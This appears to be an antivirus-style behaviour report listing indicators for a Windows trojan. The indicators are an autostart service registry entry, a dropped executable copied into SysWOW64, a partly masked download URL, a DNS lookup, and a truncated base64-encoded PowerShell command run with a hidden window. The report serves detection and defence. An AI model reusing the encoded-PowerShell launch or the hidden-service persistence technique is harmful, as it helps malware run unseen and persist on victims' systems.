Technical Information
- [<HKLM>\System\CurrentControlSet\Services\engnwhile] 'Start' = '00000002'
- [<HKLM>\System\CurrentControlSet\Services\engnwhile] 'ImagePath' = '"%WINDIR%\SysWOW64\engnwhile.exe"'
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -EncoD PAAjACAAUABpAGsAcQBoAHAAawBzAGIAaABhACAAaAB0AHQAcABzADoALwAvAHcAdwB3AC4AbQBpAGMAcgBvAHMAbwBmAHQALgBjAG8AbQAvAEwAbABlAGwAaAB3AHIAdwBiAHIAYgAgACMAPgAgACQAVgBhAHEAZgBqAHoAawBkAHoAeABrAHcAZg...
- %HOMEPATH%\489.exe
- %PROGRAMDATA%\cvxgdfade.sxcase
- from %HOMEPATH%\489.exe to %WINDIR%\syswow64\engnwhile.exe
- http://19#.#95.148.163/stubs/chunk/
- DNS ASK an##l.ac.nz
- '%HOMEPATH%\489.exe'
- '%WINDIR%\syswow64\engnwhile.exe'
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -EncoD PAAjACAAUABpAGsAcQBoAHAAawBzAGIAaABhACAAaAB0AHQAcABzADoALwAvAHcAdwB3AC4AbQBpAGMAcgBvAHMAbwBmAHQALgBjAG8AbQAvAEwAbABlAGwAaAB3AHIAdwBiAHIAYgAgACMAPgAgACQAVgBhAHEAZgBqAHoAawBkAHoAeABrAHcAZg...' (with hidden window)